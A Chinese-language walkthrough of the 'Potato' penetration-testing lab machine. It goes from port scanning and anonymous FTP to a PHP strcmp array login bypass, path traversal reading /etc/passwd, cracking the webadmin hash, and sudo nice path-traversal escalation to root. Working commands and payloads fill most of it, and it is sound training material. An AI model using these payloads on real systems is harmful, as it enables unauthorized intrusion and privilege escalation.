从WEB到内网&&代码审计&&strcmp绕过&&sudo提权 ----- 打靶经验分享
字数 1203 2025-08-10 13:48:25

OSCP靶机渗透实战教学文档

靶机名称: Potato
难度: 中等偏高
涉及技术: 端口探测、服务探测、SSH爆破、FTP匿名登录、代码审计、strcmp绕过、John爆破、sudo提权


一、环境准备

  1. 攻击机配置
    • IP: 192.168.45.173
    • 工具: Nmap、Dirsearch、Burp Suite、Hydra、John the Ripper
  2. 靶机信息
    • IP: 192.168.215.101
    • 开放端口: 22 (SSH)80 (HTTP)2112 (FTP)

二、信息收集

  1. 端口扫描

    nmap --min-rate 10000 -p- 192.168.215.101  # 快速扫描全端口
    nmap -p 22,80,2112 -sV 192.168.215.101    # 服务版本探测
    
    • 结果:
      • 22/tcp: OpenSSH 8.2p1
      • 80/tcp: Apache 2.4.41
      • 2112/tcp: ProFTPD
  2. Web目录枚举

    dirsearch -u http://192.168.215.101/
    
    • 关键路径:
      • /admin/ (登录页面)
      • /admin/logs/ (日志目录)
  3. FTP匿名登录

    ftp 192.168.215.101 -p 2112
    username: anonymous
    
    • 下载文件: index.php.bakwelcome.msg
    • 分析: index.php.bak 暴露登录逻辑(PHP代码)。

三、漏洞利用

  1. strcmp登录绕过

    • 漏洞点:
      if (strcmp($_POST['password'], $valid_password) == 0) { /* 登录成功 */ }
      
    • 绕过方法: 传入数组使strcmp返回0
      • Burp修改请求:
        {"username":"admin", "password[]":1}
        
    • 结果: 成功登录后台。
  2. 文件读取漏洞

    • 利用路径穿越读取/etc/passwd:
      POST /admin/logs/ HTTP/1.1
      file=../../../../../etc/passwd
      
    • 获取用户哈希:
      webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/
      
  3. John爆破SSH密码

    echo '$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' > passwd.hash
    john --wordlist=/usr/share/wordlists/rockyou.txt passwd.hash
    
    • 爆破结果: dragon
    • SSH登录:
      ssh webadmin@192.168.215.101
      

四、权限提升

  1. 枚举提权路径

    sudo -l
    
    • 输出:
      (ALL : ALL) /bin/nice /notes/*
      
  2. 利用GTFOBins提权

    • 步骤:
      cd /tmp
      echo '/bin/sh -p' > shell
      chmod +x shell
      sudo /bin/nice /notes/../../tmp/shell
      
    • 结果: 获取root权限。
  3. 获取Flag

    • User Flag: /home/webadmin/local.txt
    • Root Flag: /root/proof.txt

五、关键知识点总结

  1. strcmp绕过: PHP弱类型比较漏洞,传入非字符串类型触发错误返回0
  2. 文件读取: 路径穿越需测试多层目录(如../../../../)。
  3. sudo提权: 利用可执行命令的路径限制绕过(../跳转)。
  4. 密码爆破: John需指定哈希类型(本例为md5crypt)。

附录:工具命令速查

工具 命令示例
Nmap nmap -sV -p 22,80,2112 <IP>
Hydra hydra -l root -P wordlist.txt ssh://<IP>
John john --format=md5crypt hashfile

免责声明: 本文仅用于教学,实际渗透需获得合法授权。

OSCP靶机渗透实战教学文档 靶机名称 : Potato 难度 : 中等偏高 涉及技术 : 端口探测、服务探测、SSH爆破、FTP匿名登录、代码审计、strcmp绕过、John爆破、sudo提权 一、环境准备 攻击机配置 IP: 192.168.45.173 工具: Nmap、Dirsearch、Burp Suite、Hydra、John the Ripper 靶机信息 IP: 192.168.215.101 开放端口: 22 (SSH) 、 80 (HTTP) 、 2112 (FTP) 二、信息收集 端口扫描 结果 : 22/tcp : OpenSSH 8.2p1 80/tcp : Apache 2.4.41 2112/tcp : ProFTPD Web目录枚举 关键路径 : /admin/ (登录页面) /admin/logs/ (日志目录) FTP匿名登录 下载文件: index.php.bak 、 welcome.msg 分析 : index.php.bak 暴露登录逻辑(PHP代码)。 三、漏洞利用 strcmp登录绕过 漏洞点 : 绕过方法 : 传入数组使 strcmp 返回 0 Burp修改请求 : 结果 : 成功登录后台。 文件读取漏洞 利用路径穿越读取 /etc/passwd : 获取用户哈希 : John爆破SSH密码 爆破结果 : dragon SSH登录 : 四、权限提升 枚举提权路径 输出 : 利用GTFOBins提权 步骤 : 结果 : 获取root权限。 获取Flag User Flag : /home/webadmin/local.txt Root Flag : /root/proof.txt 五、关键知识点总结 strcmp绕过 : PHP弱类型比较漏洞,传入非字符串类型触发错误返回 0 。 文件读取 : 路径穿越需测试多层目录(如 ../../../../ )。 sudo提权 : 利用可执行命令的路径限制绕过( ../ 跳转)。 密码爆破 : John需指定哈希类型(本例为 md5crypt )。 附录:工具命令速查 | 工具 | 命令示例 | |---------------|----------------------------------| | Nmap | nmap -sV -p 22,80,2112 <IP> | | Hydra | hydra -l root -P wordlist.txt ssh://<IP> | | John | john --format=md5crypt hashfile | 免责声明 : 本文仅用于教学,实际渗透需获得合法授权。